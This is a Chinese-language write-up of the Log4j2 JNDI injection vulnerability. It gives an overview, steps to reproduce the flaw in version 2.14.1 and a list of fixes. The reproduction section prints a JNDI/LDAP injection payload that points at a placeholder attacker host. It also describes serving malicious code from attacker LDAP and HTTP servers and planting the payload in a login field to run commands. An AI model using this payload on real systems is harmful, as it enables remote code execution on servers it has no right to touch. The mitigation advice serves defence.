0x01 漏洞概述
Log4j-2中存在JNDI注入漏洞,当程序将用户输入的数据被日志记录时,即可触发此漏洞,此次漏洞是用于 Log4j2 提供的 lookup 功能造成的,该功能允许开发者通过一些协议去读取相应环境中的配置。但并未对输入进行严格的判断,从而造成攻击者可以在目标服务器上执行任意代码。
0x02 漏洞复现
环境搭建,引入log4j相关jar包,我这里使用的版本是2.14.1
编写调用Log4j的方法,即存在漏洞的代码,如下图
这里logger.erro方法的参数直接编码成了一个ldap的地址,该地址为攻击者的服务器,后面需要在该地址部署恶意文件
在正常业务场景中,logger.erro的参数可能是由用户输入的,程序运行过程中将输入的参数打印到日志中,便于分析和追溯
因此Payload即为${jndi:ldap://x.x.x.x:x/payload}
本地搭建LDAP服务和HTTP服务,并部署恶意代码,网上很多种工具和方法都可以,这里简单介绍一下LDAP
JDNI提供了一个目录系统,并将服务名称与对象关联起来,从而使得开发人员在开发过程中可以使用名称来访问对象。
而LDAP即轻量级目录访问协议,目录是一个为查询、浏览和搜索而优化的专业分布式数据库。
因此,当logger的方法里有${jndi:ldap://}
时,Log4j就将会把它按照JNDI扩展内容去解析,并按照LDAP协议去指定的远程服务器请求对应的数据并解析。
运行刚刚编写的存在漏洞的方法,可以成功执行命令,本地弹出计算器
网上某漏洞靶场也可以成功执行命令
登录框用户名写入Payload,VPS本地服务起监听,成功执行命令
0x03 修复建议
- 设置 JVM 启动参数
‐Dlog4j2.formatMsgNoLookups=true
。 - 系统环境变量
FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS
设置为true
- 设置
log4j2.formatMsgNoLookups=True
- 尽量使用 JDK 版本大于11.0.1、8u191、7u201、6u211,需要注意的是,即使是使用 了 JDK 高版本也不能完全保证安全,依然存在本地绕过的情况。
- 限制不必要的业务访问外网。
- 采用 rasp 对 lookup 的调用进行阻断。
- 采用 waf 对请求流量中的
${jndi
进行拦截。